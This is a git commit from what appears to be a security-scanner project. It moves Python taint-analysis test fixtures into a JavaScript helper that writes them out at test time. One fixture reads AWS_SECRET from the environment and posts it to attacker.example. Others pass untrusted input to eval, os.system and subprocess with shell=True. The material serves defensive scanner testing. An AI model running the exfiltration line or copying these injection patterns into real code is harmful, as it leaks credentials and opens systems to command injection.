test(ast-taint): materialize the ast-scan fixtures at test time
The five Python taint fixtures under tests/fixtures/ast-scan/ move into tests/helpers/payload-trees.mjs as the `ast-scan` tree, written to a temp dir by the test like the three S1 trees. av-surface probe (d) gains the directory: 5 -> 6 trees. PM decision (S3 order): creds-net.py is os.environ -> requests.post, the exfiltration shape AV classifiers are trained on; one rule, "no payload-shaped runnable file on disk", is easier to defend than an exception. The .py files match no SIG rule and are stored as plain lines. Deviation from the order: it named three files (sinks, creds-net, scope); the directory holds five (also reassign.py, sentinel.py). Gating the directory means all five move. Measured: (d) red first, d=1 (5 files) of 6 trees, then 0. sha256 of all five on-disk files taken before git rm; payload-trees.test.mjs asserts them, mutation-checked (one byte in creds-net.py -> red, restored byte-identical). ast-taint-scanner.test.mjs 12/12 with the materialized tree, both before and after the files were removed. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This commit is contained in:
parent
965b1d9bca
commit
d5ff537599
8 changed files with 99 additions and 68 deletions
|
|
@ -42,7 +42,8 @@
|
||||||
// byte in the first 8 KiB, the rule readTextFile uses) are outside the
|
// byte in the first 8 KiB, the rule readTextFile uses) are outside the
|
||||||
// denominator: decoding compressed PNG/WOFF2 bytes as UTF-8 yields these
|
// denominator: decoding compressed PNG/WOFF2 bytes as UTF-8 yields these
|
||||||
// codepoints by chance, and no reader ever sees them as characters.
|
// codepoints by chance, and no reader ever sees them as characters.
|
||||||
// (d) any tracked file under a known payload tree.
|
// (d) any tracked file under a known payload tree (six since S3, which added
|
||||||
|
// tests/fixtures/ast-scan/).
|
||||||
// (a2) a test source (tests/**/*.mjs|.js, tests/golden/** excluded) whose RAW
|
// (a2) a test source (tests/**/*.mjs|.js, tests/golden/** excluded) whose RAW
|
||||||
// text holds a contiguous literal matching one of the same SIG rules.
|
// text holds a contiguous literal matching one of the same SIG rules.
|
||||||
// Raw bytes only, comments included: this is what sits on disk, and a
|
// Raw bytes only, comments included: this is what sits on disk, and a
|
||||||
|
|
@ -103,6 +104,11 @@ const PAYLOAD_TREES = [
|
||||||
'tests/fixtures/trigger-scan/poisoned/',
|
'tests/fixtures/trigger-scan/poisoned/',
|
||||||
'examples/malicious-skill-demo/evil-project-health/',
|
'examples/malicious-skill-demo/evil-project-health/',
|
||||||
'examples/poisoned-claude-md/fixture/',
|
'examples/poisoned-claude-md/fixture/',
|
||||||
|
// S3 (2026-09-22, PM decision): Python taint fixtures. Not SIG payloads, but
|
||||||
|
// creds-net.py is os.environ -> requests.post, the exfiltration shape AV
|
||||||
|
// classifiers are trained on; "no payload-shaped runnable file on disk" is
|
||||||
|
// one rule, easier to defend than an exception.
|
||||||
|
'tests/fixtures/ast-scan/',
|
||||||
];
|
];
|
||||||
|
|
||||||
function trackedFiles() {
|
function trackedFiles() {
|
||||||
|
|
|
||||||
9
tests/fixtures/ast-scan/creds-net.py
vendored
9
tests/fixtures/ast-scan/creds-net.py
vendored
|
|
@ -1,9 +0,0 @@
|
||||||
import os
|
|
||||||
import requests
|
|
||||||
|
|
||||||
|
|
||||||
def exfiltrate():
|
|
||||||
# Source: os.environ -> intermediate variable -> network sink.
|
|
||||||
secret = os.environ["AWS_SECRET"]
|
|
||||||
url = "https://attacker.example/collect"
|
|
||||||
requests.post(url, data=secret)
|
|
||||||
17
tests/fixtures/ast-scan/reassign.py
vendored
17
tests/fixtures/ast-scan/reassign.py
vendored
|
|
@ -1,17 +0,0 @@
|
||||||
import os
|
|
||||||
import shlex
|
|
||||||
|
|
||||||
# Taint must CLEAR when a name is rebound to a non-source value (#29).
|
|
||||||
# Neither function below may produce a finding.
|
|
||||||
|
|
||||||
|
|
||||||
def reassigned_constant():
|
|
||||||
g = os.getenv("G") # tainted source
|
|
||||||
g = "safe-constant" # rebound to a literal -> taint must clear
|
|
||||||
os.system(g) # must NOT be flagged
|
|
||||||
|
|
||||||
|
|
||||||
def sanitized_reassignment():
|
|
||||||
x = input("path> ") # tainted source
|
|
||||||
x = shlex.quote(x) # rebound to a non-source call -> taint must clear
|
|
||||||
os.system(x) # must NOT be flagged
|
|
||||||
12
tests/fixtures/ast-scan/scope.py
vendored
12
tests/fixtures/ast-scan/scope.py
vendored
|
|
@ -1,12 +0,0 @@
|
||||||
# The variable `data` exists in both functions, but only one is tainted.
|
|
||||||
# A scope-aware analysis must flag handler_one and leave handler_two alone.
|
|
||||||
|
|
||||||
|
|
||||||
def handler_one(prompt):
|
|
||||||
data = input(prompt) # tainted source
|
|
||||||
eval(data) # sink -> should be flagged
|
|
||||||
|
|
||||||
|
|
||||||
def handler_two(prompt):
|
|
||||||
data = "a constant value" # literal, NOT tainted
|
|
||||||
eval(data) # same var name, must NOT be flagged
|
|
||||||
6
tests/fixtures/ast-scan/sentinel.py
vendored
6
tests/fixtures/ast-scan/sentinel.py
vendored
|
|
@ -1,6 +0,0 @@
|
||||||
import os
|
|
||||||
|
|
||||||
# Parse-only safety canary. If the AST helper ever EXECUTES this file instead
|
|
||||||
# of merely PARSING it (ast.parse), it creates a file named SENTINEL in the
|
|
||||||
# working directory. The test asserts SENTINEL never appears.
|
|
||||||
os.system("touch SENTINEL")
|
|
||||||
20
tests/fixtures/ast-scan/sinks.py
vendored
20
tests/fixtures/ast-scan/sinks.py
vendored
|
|
@ -1,20 +0,0 @@
|
||||||
import os
|
|
||||||
import subprocess
|
|
||||||
|
|
||||||
# Locks the subprocess/os.system command sinks and the file-write sink (#28).
|
|
||||||
|
|
||||||
|
|
||||||
def run_user_command():
|
|
||||||
cmd = input("cmd> ") # tainted source
|
|
||||||
subprocess.run(cmd, shell=True) # sink: subprocess.* -> AST-CMD-EXEC
|
|
||||||
|
|
||||||
|
|
||||||
def shell_from_env():
|
|
||||||
target = os.getenv("TARGET") # tainted source
|
|
||||||
os.system(target) # sink: os.system -> AST-CMD-EXEC
|
|
||||||
|
|
||||||
|
|
||||||
def leak_to_file():
|
|
||||||
payload = os.environ["DATA"] # tainted source
|
|
||||||
log = open("out.txt", "w") # write handle
|
|
||||||
log.write(payload) # sink: file.write -> AST-FILE-WRITE (high)
|
|
||||||
|
|
@ -8,6 +8,10 @@
|
||||||
// ('@ev' + 'al(...'), so no contiguous payload literal sits on disk;
|
// ('@ev' + 'al(...'), so no contiguous payload literal sits on disk;
|
||||||
// - a zero-width carrier is built with String.fromCodePoint, never written
|
// - a zero-width carrier is built with String.fromCodePoint, never written
|
||||||
// as a literal character.
|
// as a literal character.
|
||||||
|
// S3 (2026-09-22) added `ast-scan`: five Python taint fixtures. They match no
|
||||||
|
// SIG rule and are stored as plain lines, but a runnable .py with the
|
||||||
|
// os.environ -> requests.post shape is what AV classifiers are trained on, so
|
||||||
|
// they follow the same rule: no payload-shaped runnable file on disk.
|
||||||
// Each file carries the sha256 of the bytes that were on disk before the move,
|
// Each file carries the sha256 of the bytes that were on disk before the move,
|
||||||
// measured then, so tests/helpers/payload-trees.test.mjs proves the scanners
|
// measured then, so tests/helpers/payload-trees.test.mjs proves the scanners
|
||||||
// still see exactly what they saw before (an independent anchor, not a hash of
|
// still see exactly what they saw before (an independent anchor, not a hash of
|
||||||
|
|
@ -151,6 +155,87 @@ export const PAYLOAD_TREES = {
|
||||||
+ '?>\n',
|
+ '?>\n',
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
|
'ast-scan': {
|
||||||
|
'creds-net.py': {
|
||||||
|
sha256: '4c4d545b8db8e39bc48a60119f9b6264484ecb1b532d3f47f4c14edf3785ef36',
|
||||||
|
content: "import os\n"
|
||||||
|
+ "import requests\n"
|
||||||
|
+ "\n"
|
||||||
|
+ "\n"
|
||||||
|
+ "def exfiltrate():\n"
|
||||||
|
+ " # Source: os.environ -> intermediate variable -> network sink.\n"
|
||||||
|
+ " secret = os.environ[\"AWS_SECRET\"]\n"
|
||||||
|
+ " url = \"https://attacker.example/collect\"\n"
|
||||||
|
+ " requests.post(url, data=secret)\n",
|
||||||
|
},
|
||||||
|
'reassign.py': {
|
||||||
|
sha256: 'fcda3636e419a47309b37d36ea529c472a47b5b3cd70747a86066bfae4f5be93',
|
||||||
|
content: "import os\n"
|
||||||
|
+ "import shlex\n"
|
||||||
|
+ "\n"
|
||||||
|
+ "# Taint must CLEAR when a name is rebound to a non-source value (#29).\n"
|
||||||
|
+ "# Neither function below may produce a finding.\n"
|
||||||
|
+ "\n"
|
||||||
|
+ "\n"
|
||||||
|
+ "def reassigned_constant():\n"
|
||||||
|
+ " g = os.getenv(\"G\") # tainted source\n"
|
||||||
|
+ " g = \"safe-constant\" # rebound to a literal -> taint must clear\n"
|
||||||
|
+ " os.system(g) # must NOT be flagged\n"
|
||||||
|
+ "\n"
|
||||||
|
+ "\n"
|
||||||
|
+ "def sanitized_reassignment():\n"
|
||||||
|
+ " x = input(\"path> \") # tainted source\n"
|
||||||
|
+ " x = shlex.quote(x) # rebound to a non-source call -> taint must clear\n"
|
||||||
|
+ " os.system(x) # must NOT be flagged\n",
|
||||||
|
},
|
||||||
|
'scope.py': {
|
||||||
|
sha256: '79b2eea1a951aa5652bb5f60c471ec4e2eeddfc6d0f6d00c50a2275f5a8595bb',
|
||||||
|
content: "# The variable `data` exists in both functions, but only one is tainted.\n"
|
||||||
|
+ "# A scope-aware analysis must flag handler_one and leave handler_two alone.\n"
|
||||||
|
+ "\n"
|
||||||
|
+ "\n"
|
||||||
|
+ "def handler_one(prompt):\n"
|
||||||
|
+ " data = input(prompt) # tainted source\n"
|
||||||
|
+ " eval(data) # sink -> should be flagged\n"
|
||||||
|
+ "\n"
|
||||||
|
+ "\n"
|
||||||
|
+ "def handler_two(prompt):\n"
|
||||||
|
+ " data = \"a constant value\" # literal, NOT tainted\n"
|
||||||
|
+ " eval(data) # same var name, must NOT be flagged\n",
|
||||||
|
},
|
||||||
|
'sentinel.py': {
|
||||||
|
sha256: '86b0ceaeb9329d3ec0d2fa5c3177a2541be0688e4ca2a2de411c807d2c6d631e',
|
||||||
|
content: "import os\n"
|
||||||
|
+ "\n"
|
||||||
|
+ "# Parse-only safety canary. If the AST helper ever EXECUTES this file instead\n"
|
||||||
|
+ "# of merely PARSING it (ast.parse), it creates a file named SENTINEL in the\n"
|
||||||
|
+ "# working directory. The test asserts SENTINEL never appears.\n"
|
||||||
|
+ "os.system(\"touch SENTINEL\")\n",
|
||||||
|
},
|
||||||
|
'sinks.py': {
|
||||||
|
sha256: 'abc686c8b4349e285d29ac608906d7bfc8b26a934e82c6aa157fd5bfdd32974b',
|
||||||
|
content: "import os\n"
|
||||||
|
+ "import subprocess\n"
|
||||||
|
+ "\n"
|
||||||
|
+ "# Locks the subprocess/os.system command sinks and the file-write sink (#28).\n"
|
||||||
|
+ "\n"
|
||||||
|
+ "\n"
|
||||||
|
+ "def run_user_command():\n"
|
||||||
|
+ " cmd = input(\"cmd> \") # tainted source\n"
|
||||||
|
+ " subprocess.run(cmd, shell=True) # sink: subprocess.* -> AST-CMD-EXEC\n"
|
||||||
|
+ "\n"
|
||||||
|
+ "\n"
|
||||||
|
+ "def shell_from_env():\n"
|
||||||
|
+ " target = os.getenv(\"TARGET\") # tainted source\n"
|
||||||
|
+ " os.system(target) # sink: os.system -> AST-CMD-EXEC\n"
|
||||||
|
+ "\n"
|
||||||
|
+ "\n"
|
||||||
|
+ "def leak_to_file():\n"
|
||||||
|
+ " payload = os.environ[\"DATA\"] # tainted source\n"
|
||||||
|
+ " log = open(\"out.txt\", \"w\") # write handle\n"
|
||||||
|
+ " log.write(payload) # sink: file.write -> AST-FILE-WRITE (high)\n",
|
||||||
|
},
|
||||||
|
},
|
||||||
};
|
};
|
||||||
|
|
||||||
/**
|
/**
|
||||||
|
|
|
||||||
|
|
@ -1,5 +1,6 @@
|
||||||
// ast-taint-scanner.test.mjs — Tests for the AST Python-taint scanner.
|
// ast-taint-scanner.test.mjs — Tests for the AST Python-taint scanner.
|
||||||
// Fixtures in tests/fixtures/ast-scan/:
|
// Fixtures: the `ast-scan` tree in tests/helpers/payload-trees.mjs, written to
|
||||||
|
// a temp dir at test time (S3, v8.1.0 — no payload-shaped .py on disk):
|
||||||
// - creds-net.py : os.environ -> variable -> requests.post (cross-statement taint)
|
// - creds-net.py : os.environ -> variable -> requests.post (cross-statement taint)
|
||||||
// - scope.py : same var name in two functions, only one tainted (scope test)
|
// - scope.py : same var name in two functions, only one tainted (scope test)
|
||||||
// - reassign.py : tainted name rebound to a non-source value -> taint clears (#29)
|
// - reassign.py : tainted name rebound to a non-source value -> taint clears (#29)
|
||||||
|
|
@ -9,7 +10,7 @@
|
||||||
// python3-absent and malformed-input paths use throwaway temp dirs so they are
|
// python3-absent and malformed-input paths use throwaway temp dirs so they are
|
||||||
// deterministic regardless of the host having python3.
|
// deterministic regardless of the host having python3.
|
||||||
|
|
||||||
import { describe, it, beforeEach } from 'node:test';
|
import { describe, it, beforeEach, after } from 'node:test';
|
||||||
import assert from 'node:assert/strict';
|
import assert from 'node:assert/strict';
|
||||||
import { resolve, join } from 'node:path';
|
import { resolve, join } from 'node:path';
|
||||||
import { fileURLToPath } from 'node:url';
|
import { fileURLToPath } from 'node:url';
|
||||||
|
|
@ -19,9 +20,12 @@ import { spawnSync } from 'node:child_process';
|
||||||
import { resetCounter } from '../../scanners/lib/output.mjs';
|
import { resetCounter } from '../../scanners/lib/output.mjs';
|
||||||
import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
|
import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
|
||||||
import { scan } from '../../scanners/ast-taint-scanner.mjs';
|
import { scan } from '../../scanners/ast-taint-scanner.mjs';
|
||||||
|
import { materializeTree } from '../helpers/payload-trees.mjs';
|
||||||
|
|
||||||
const __dirname = fileURLToPath(new URL('.', import.meta.url));
|
const __dirname = fileURLToPath(new URL('.', import.meta.url));
|
||||||
const FIXTURE = resolve(__dirname, '../fixtures/ast-scan');
|
const fixtureTree = materializeTree('ast-scan');
|
||||||
|
after(fixtureTree.cleanup);
|
||||||
|
const FIXTURE = fixtureTree.dir;
|
||||||
|
|
||||||
// which-guard (mirrors vsix-sandbox.test.mjs): skip python3-dependent assertions
|
// which-guard (mirrors vsix-sandbox.test.mjs): skip python3-dependent assertions
|
||||||
// when the interpreter is absent.
|
// when the interpreter is absent.
|
||||||
|
|
|
||||||
Loading…
Add table
Add a link
Reference in a new issue